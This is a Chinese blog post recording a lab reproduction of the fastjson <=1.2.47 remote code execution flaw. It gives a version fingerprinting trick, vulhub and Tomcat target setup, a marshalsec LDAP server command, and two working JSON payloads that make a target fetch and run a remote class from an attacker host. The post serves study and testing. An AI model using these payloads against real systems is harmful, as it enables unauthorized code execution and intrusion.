fastjson =<1.2.47RCE漏洞研究

主要作为自己记录用,排版比较随意

一、测试和复现主要考虑两个条件:

  • 1.fastjson <=1.2.47
  • 2.jdk版本在11.0.1、8u191、7u201、6u211之前
    另外,可以通过发送没闭合的json数据,通过回复包来判断目标站点是否有使用fastjson,例如提交{"@type":"c
    如上以上条件都满足,很大概率能利用成功
    也有绕过jdk版本限制的方法,可以网上搜一下,不过利用起来比较复杂,篇幅有点大,可以自己往上搜相关文章

反序列化常用的两种利用方式

一种是基于rmi,一种是基于ldap。 RMI是一种行为,指的是Java远程方法调用。 JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。 ldap指轻量级目录访问协议。

使用RMI还是LDAP调用远程class恶意文件取决于目标机器上的JDK版本:


可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
本地测试确定过,jdk版本为8u251时即使fastjson版本符合要求也是利用不了的,jdk版本为8u171、fastjson1.2.47时是可以用ldap复现成功的

二、漏洞复现

2.1 使用vulhub方式

docker容器里的jdk版本,jdk8u102 ----------该jdk版本用rmi或ldap服务都可以加载远程class文件
步骤:

  • 1.1开启容器docker-compose up -d ---------在debian9.5上
  • 1.2 python2 -m SimpleHTTPServer (默认端口8000)-----在kali上
    在开启http服务的路径下,放编译好的class文件
  • 1.3使用marshalsec-0.0.3-SNAPSHOT-all.jar开启rmi或ldap服务 ---------在kali上
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.37.128:8000/#TouchFile" 9999
  • 1.4 post 利用包(确认过,ldap://192.168.37.128:9999/的后面可以接任何字符,不为空即可,不一定要是类名-----下面a或b的名字也可以任意取)
    rmi:
      {
         "b":{
              "@type":"com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName":"ldap://192.168.37.128:9999/exploit",
              "autoCommit":true
          }
      }

ldap: ------------------其实这个payload是<=1.2.47通杀的,无rmi和ldap的区别,是使用rmi还是ldap是由 jdk版本决定的

      {
          "a":{
              "@type":"java.lang.Class",
              "val":"com.sun.rowset.JdbcRowSetImpl"
          },
          "b":{
              "@type":"com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName":"ldap://192.168.37.128:9999/expdsaloit",
              "autoCommit":true
          }
      }

2.2 本地搭建tomcat+fastjson1.2.47环境进行复现

主要是靶机的搭建
debian9.5、tomcat9、fastjson1.2.47、jdk(用debian9自带的8u171或卸载自带的后自己手动装jdk8u251,区别就是能否复现成功,原因上面有讲到)

1.1 tomcat安装

https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.36/bin/apache-tomcat-9.0.36.tar.gz

tar zxvf apche-tomcat....
mv apache-tomcat.. /opt/tomcat9
chmod -R 777 tomcat9
vim /etc/profile配置环境变量(如果使用debian自带的jdk就不用了配置jdk的环境变量了,配置tomcat的即可)
	export JAVA_HOME=...(根据自己的实际情况写)
	export JRE_HOME=...
	export CLASS_PATH=...
	export PATH=...
	export CATALINA_HOME=/opt/tomcat9
source  etc/profile
cd /opt/tomcat9/bin
./catalina.sh start
unset CATALINA_HOME(可选) -----如果在start tomcat服务的时候报Cannot find tomcat/bin/setclasspath.sh错误,则需要敲这条指令,然后再start
2.2 复制fastjson1.2.47环境包到/opt/tomcat9/webapps (github找一下)

然后访问http://IP:8080/fastjson/查看效果

附:测试java文件

参考链接:
https://www.t00ls.net/viewthread.php?tid=56927&highlight=fastjson
https://mp.weixin.qq.com/s/sWOuXnMd7r0q8W-sInMhGQ
https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ
https://github.com/RealBearcat/FastJson-JdbcRowSetImpl-RCE
https://www.t00ls.net/viewthread.php?tid=55109&highlight=fastjson

posted @ 2020-07-09 20:43  binggogo  阅读(611)  评论(1编辑  收藏  举报